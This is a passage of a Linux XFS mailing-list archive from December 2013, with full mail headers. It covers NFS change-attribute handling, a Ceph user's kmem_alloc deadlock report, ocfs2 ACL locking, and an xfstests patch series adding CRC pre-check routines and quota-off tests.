rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 03, 2013 at 11:35:02AM +0200, Boaz Harrosh wrote: > Hi Christoph > > What happens with all other filesystems exported under KNFSD? > > As I understand inode_inc_iversion() is used in NFSv4 and up, > what will increment the inode-version on changed attributes > for them? It's used by the filesystem for the change attribute that NFSDd can optionally use. Most filesystsems don't support it and work okay enough when NFS exported. No other filesystem will need to adopt for this patch specificly, given that no other filesystem uses this infrastructure. From elacour@easter-eggs.com Tue Dec 3 03:54:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D8FEF7F58 for ; Tue, 3 Dec 2013 03:54:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C2A1C304062 for ; Tue, 3 Dec 2013 01:54:01 -0800 (PST) X-ASG-Debug-ID: 1386064438-04cbb041664b4b20001-NocioJ Received: from volubilis.easter-eggs.com (volubilis.easter-eggs.com [37.9.136.135]) by cuda.sgi.com with ESMTP id zZguypvgQxMDbBm3 for ; Tue, 03 Dec 2013 01:53:59 -0800 (PST) X-Barracuda-Envelope-From: elacour@easter-eggs.com X-Barracuda-Apparent-Source-IP: 37.9.136.135 Received: from localhost (localhost.localdomain [127.0.0.1]) by volubilis.easter-eggs.com (Postfix) with ESMTP id 8B67F15E18 for ; Tue, 3 Dec 2013 10:53:58 +0100 (CET) Received: from datura.easter-eggs.fr (coquelicot-s.easter-eggs.com [109.190.110.196]) by volubilis.easter-eggs.com (Postfix) with ESMTPSA id 6543215DD4 for ; Tue, 3 Dec 2013 10:53:58 +0100 (CET) Date: Tue, 3 Dec 2013 10:53:58 +0100 From: Emmanuel Lacour To: xfs@oss.sgi.com Subject: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) Message-ID: <20131203095357.GC5405@easter-eggs.com> X-ASG-Orig-Subj: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) References: <20131128091322.GC5337@easter-eggs.com> <20131128100521.GO10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131128100521.GO10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: volubilis.easter-eggs.com[37.9.136.135] X-Barracuda-Start-Time: 1386064439 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142804 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Thu, Nov 28, 2013 at 09:05:21PM +1100, Dave Chinner wrote: > On Thu, Nov 28, 2013 at 10:13:22AM +0100, Emmanuel Lacour wrote: > > > > Dear XFS users, > > > > > > I run a Ceph cluster using XFS on Debian wheezy servers and Linux 3.10 > > (debian backports). I see the following line in our logs: > > > > XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > > > > does this reveal a problem in my setup or may I ignore it? If it's a > > problem, can someone give me any hint on solving this? > > It might be, but you need to provide more information for us to be > able to make any intelligent comment on the message. Start here: > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > The problem continue and crashed my ceph cluster again, so here is all the informations said in the FAQ: http://people.easter-eggs.org/~manu/xfs.log This may be related to a friend problem here: http://tracker.ceph.com/issues/6386 thanks for any help on solving this! From bharrosh@panasas.com Tue Dec 3 04:41:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7CCBD7F59 for ; Tue, 3 Dec 2013 04:41:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 23F15AC001 for ; Tue, 3 Dec 2013 02:41:23 -0800 (PST) X-ASG-Debug-ID: 1386067281-04bdf06eee4baa10001-NocioJ Received: from natasha.panasas.com (natasha.panasas.com [209.166.131.148]) by cuda.sgi.com with ESMTP id 0XalZjWEggC79ABb for ; Tue, 03 Dec 2013 02:41:21 -0800 (PST) X-Barracuda-Envelope-From: bharrosh@panasas.com X-Barracuda-Apparent-Source-IP: 209.166.131.148 Received: from seabiscuit.panasas.com (seabiscuit.panasas.com [172.17.132.204]) by natasha.panasas.com (8.13.1/8.13.1) with ESMTP id rB3AewaQ001896; Tue, 3 Dec 2013 05:40:58 -0500 Received: from [172.17.142.17] (172.17.142.17) by seabiscuit.int.panasas.com (172.17.132.204) with Microsoft SMTP Server (TLS) id 14.1.438.0; Tue, 3 Dec 2013 02:40:57 -0800 Message-ID: <529DB536.7050008@panasas.com> Date: Tue, 3 Dec 2013 12:40:54 +0200 From: Boaz Harrosh User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Christoph Hellwig CC: , , NFS list Subject: Re: [PATCH] fs: fix iversion handling References: <20131119151707.GA13412@infradead.org> <20131202173636.GA17724@infradead.org> <529DA5C6.7040403@panasas.com> <20131203094507.GD4906@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling In-Reply-To: <20131203094507.GD4906@infradead.org> Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit X-Barracuda-Connect: natasha.panasas.com[209.166.131.148] X-Barracuda-Start-Time: 1386067281 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142805 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/03/2013 11:45 AM, Christoph Hellwig wrote: > On Tue, Dec 03, 2013 at 11:35:02AM +0200, Boaz Harrosh wrote: >> Hi Christoph >> >> What happens with all other filesystems exported under KNFSD? >> >> As I understand inode_inc_iversion() is used in NFSv4 and up, >> what will increment the inode-version on changed attributes >> for them? > > It's used by the filesystem for the change attribute that NFSDd > can optionally use. Most filesystsems don't support it and work > okay enough when NFS exported. No other filesystem will need > to adopt for this patch specificly, given that no other filesystem > uses this infrastructure. > OK Thanks, I did not know that. I assumed change-attribute is naturally supported. I will look at ext4 example and wire up exofs. Because it is very important for me to support the change-attribute properly. Thanks you Boaz From BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 3 04:49:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0996A7F5D for ; Tue, 3 Dec 2013 04:49:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D8B4B8F804C for ; Tue, 3 Dec 2013 02:49:11 -0800 (PST) X-ASG-Debug-ID: 1386067749-04cbb041674b79e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id OEyyFww7oTK966zD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 02:49:11 -0800 (PST) X-Barracuda-Envelope-From: BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnnXC-00019Q-Bt; Tue, 03 Dec 2013 10:48:54 +0000 Date: Tue, 3 Dec 2013 02:48:54 -0800 From: Christoph Hellwig To: Jan Kara Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 12/18] ocfs2: use generic posix ACL infrastructure Message-ID: <20131203104854.GA3223@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 12/18] ocfs2: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> <20131201120655.852590677@bombadil.infradead.org> <20131202230007.GK12253@quack.suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202230007.GK12253@quack.suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386067750 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142805 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Dec 03, 2013 at 12:00:07AM +0100, Jan Kara wrote: > Hum, this changes the cluster locking. Previously ocfs2_acl_get() used > from ocfs2_acl_chmod() grabbed cluster wide inode lock. Now getting of ACL > isn't protected by the inode lock. That being said the cluster locking > around setattr looks fishy anyway - if two processes on different > nodes are changing attributes of the same file, changing ACLs post fact > after dropping inode lock could cause interesting effects. Also I'm > wondering how inode_change_ok() can ever be safe without holding inode > lock... Until we grab that other node is free to change e.g. owner of the > inode thus leading even to security implications. But maybe I'm missing > something. Mark, Joel? Hmm, indeed. How does ocfs2_iop_get_acl get away without that lock? Btw, ocfs2 changes will need careful testing as I couldn't find any easy way to run xfstests on ocfs2 out of the box. From jeff.liu@oracle.com Tue Dec 3 05:58:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 430AD7F59 for ; Tue, 3 Dec 2013 05:58:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 31F23304071 for ; Tue, 3 Dec 2013 03:58:39 -0800 (PST) X-ASG-Debug-ID: 1386071914-04cb6c537d4b5bf0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id BjVkYjHXsjP2yC0H (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 03:58:34 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB3BwXdq031039 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Dec 2013 11:58:34 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3BwWPu029314 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Dec 2013 11:58:33 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3BwWTp014153 for ; Tue, 3 Dec 2013 11:58:32 GMT Received: from [192.168.1.104] (/123.119.109.45) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 03 Dec 2013 03:58:32 -0800 Message-ID: <529DC763.8000007@oracle.com> Date: Tue, 03 Dec 2013 19:58:27 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 0/4] xfstests: introduce xfs tests 304/305 to verify turn quota/project quota off Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 0/4] xfstests: introduce xfs tests 304/305 to verify turn quota/project quota off Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386071914 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, Here is the 2nd version for introducing two new xfs specified tests to verify that we can turn group/project quotas off while user quota is on and fsstress is running. As a preparation step, the 1st patch is trying to introduce a couple of pre-checkup routines to verify that if mkfs.xfs and kernel are have crc feature or not as per Dave's comments. v1->v2: - Introduce _require_xfs_mkfs_crc to verify if mkfs.xfs have crc feature or not - Introduce _require_xfs_crc to verify if xfs kernel have crc feature or not - xfs/299, remove v5 super block number "5" from golden output file - Re-number both test cases to xfs/304 and xfs/305 separately - Redirect "Version 5 superblock detected. xfsprogs has EXPERIMENTAL support enabled! Use of these features is at your own risk!" to /dev/null from mkfs.xfs for all those changes. Thanks, -Jeff From jeff.liu@oracle.com Tue Dec 3 05:59:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C51C29E10 for ; Tue, 3 Dec 2013 05:59:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id EE6F08F8068 for ; Tue, 3 Dec 2013 03:59:29 -0800 (PST) X-ASG-Debug-ID: 1386071968-04bdf06eec4bf190001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id GgBEgNf3VR1zunhE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 03:59:28 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB3BxRMu032014 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Dec 2013 11:59:28 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3BxQB7001800 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Dec 2013 11:59:26 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3BxPkm017152 for ; Tue, 3 Dec 2013 11:59:26 GMT Received: from [192.168.1.104] (/123.119.109.45) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 03 Dec 2013 03:59:25 -0800 Message-ID: <529DC799.1080709@oracle.com> Date: Tue, 03 Dec 2013 19:59:21 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 1/4] xfstests: common/rc, introduce two pre-checkup routines for xfs crc specified testing Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 1/4] xfstests: common/rc, introduce two pre-checkup routines for xfs crc specified testing Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386071968 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce two pre-checkup routines _require_xfs_mkfs_crc as well as _require_xfs_crc to verify if mkfs.xfs and kernel are have crc feature or not. Signed-off-by: Jie Liu --- common/rc | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/common/rc b/common/rc index 5f61d57..82b58f2 100644 --- a/common/rc +++ b/common/rc @@ -1113,6 +1113,23 @@ _require_projid32bit() || _notrun "mkfs.xfs doesn't have projid32bit feature" } +# this test requires the crc feature to be available in mkfs.xfs +# +_require_xfs_mkfs_crc() +{ + _scratch_mkfs_xfs -f -m crc=1 >/dev/null 2>&1 \ + || _notrun "mkfs.xfs doesn't have crc feature" +} + +# this test requires the xfs kernel support crc feature +# +_require_xfs_crc() +{ + _scratch_mount >/dev/null 2>&1 \ + || _notrun "Kernel doesn't support crc feature" + umount $SCRATCH_MNT +} + # this test requires that external log/realtime devices are not in use # _require_nonexternal() -- 1.8.3.2 From jeff.liu@oracle.com Tue Dec 3 05:59:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4047C29DF9 for ; Tue, 3 Dec 2013 05:59:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1FEDB304075 for ; Tue, 3 Dec 2013 03:59:43 -0800 (PST) X-ASG-Debug-ID: 1386071981-04cb6c537d4b5d70001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id OVg1jYsoZgGFvwwK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 03:59:42 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB3Bxe00032240 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Dec 2013 11:59:41 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3BxewD002569 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Dec 2013 11:59:40 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3BxeJD017891 for ; Tue, 3 Dec 2013 11:59:40 GMT Received: from [192.168.1.104] (/123.119.109.45) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 03 Dec 2013 03:59:39 -0800 Message-ID: <529DC7A7.1050703@oracle.com> Date: Tue, 03 Dec 2013 19:59:35 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 2/4] xfstests: refactor xfs/299 for crc feature pre-checkup Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 2/4] xfstests: refactor xfs/299 for crc feature pre-checkup Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386071982 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Refactor xfs/299 to make use of those two crc related pre-checkup routines, and remove the super block number from the golden output file as it does not make sense IMO. Also, filter out *EXPERIMENTAL* string from mkfs.xfs output as those contents would be removed once crc feature becomes stable. Signed-off-by: Jie Liu --- tests/xfs/299 | 14 ++++---------- tests/xfs/299.out | 1 - 2 files changed, 4 insertions(+), 11 deletions(-) diff --git a/tests/xfs/299 b/tests/xfs/299 index d5e8c5e..e374131 100755 --- a/tests/xfs/299 +++ b/tests/xfs/299 @@ -54,6 +54,8 @@ chmod a+rwx $seqres.full # arbitrary users will write here _require_scratch _require_xfs_quota +_require_xfs_mkfs_crc +_require_xfs_crc bsoft=100 bhard=500 @@ -193,19 +195,11 @@ _exercise() } -_scratch_mkfs_xfs | _filter_mkfs 2>$tmp.mkfs +_scratch_mkfs_xfs -m crc=1 2>/dev/null | _filter_mkfs 2>$tmp.mkfs cat $tmp.mkfs >>$seqres.full # keep the blocksize and data size for dd later . $tmp.mkfs -sb_ver=`$XFS_DB_PROG -r -c version $SCRATCH_DEV | awk -F= '{print $2}' | awk -F, '{print $1}' |cut -c3-` -echo $sb_ver - -if [ $sb_ver -lt 5 ] -then - _notrun "Can't run with older versions of superblock" -fi - cat >$tmp.projects <$tmp.mkfs +_scratch_mkfs_xfs -m crc=1 2>/dev/null | _filter_mkfs 2>$tmp.mkfs cat $tmp.mkfs >>$seqres.full # keep the blocksize and data size for dd later . $tmp.mkfs diff --git a/tests/xfs/299.out b/tests/xfs/299.out index b2699b4..4185c98 100644 --- a/tests/xfs/299.out +++ b/tests/xfs/299.out @@ -5,7 +5,6 @@ data = bsize=XXX blocks=XXX, imaxpct=PCT naming =VERN bsize=XXX log =LDEV bsize=XXX blocks=XXX realtime =RDEV extsz=XXX blocks=XXX, rtextents=XXX -5 *** user, group, and project *** report no quota settings -- 1.8.3.2 From jeff.liu@oracle.com Tue Dec 3 06:00:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 169E429E12 for ; Tue, 3 Dec 2013 06:00:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 94337AC004 for ; Tue, 3 Dec 2013 04:00:06 -0800 (PST) X-ASG-Debug-ID: 1386072005-04cbb041694bb5b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id MjRq7OIyPpaM7Rwt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 04:00:05 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB3C04Gp032658 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Dec 2013 12:00:04 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3C03JM004374 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Dec 2013 12:00:04 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3C025r019660 for ; Tue, 3 Dec 2013 12:00:03 GMT Received: from [192.168.1.104] (/123.119.109.45) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 03 Dec 2013 04:00:02 -0800 Message-ID: <529DC7BE.7050304@oracle.com> Date: Tue, 03 Dec 2013 19:59:58 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 3/4] xfstests: xfs/304, verify turn group/project quotas off while user quotas is on Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 3/4] xfstests: xfs/304, verify turn group/project quotas off while user quotas is on Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386072005 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce xfs/304 to verify that we can turn group/project quotas off while user quotas is on. Signed-off-by: Jie Liu --- tests/xfs/304 | 86 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/304.out | 7 +++++ tests/xfs/group | 1 + 3 files changed, 94 insertions(+) create mode 100755 tests/xfs/304 create mode 100644 tests/xfs/304.out diff --git a/tests/xfs/304 b/tests/xfs/304 new file mode 100755 index 0000000..ef8643a --- /dev/null +++ b/tests/xfs/304 @@ -0,0 +1,86 @@ +#! /bin/bash +# FS QA Test No. 304 +# +# Test to verify that turn group/project quotas off while user quotas +# are left on. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR 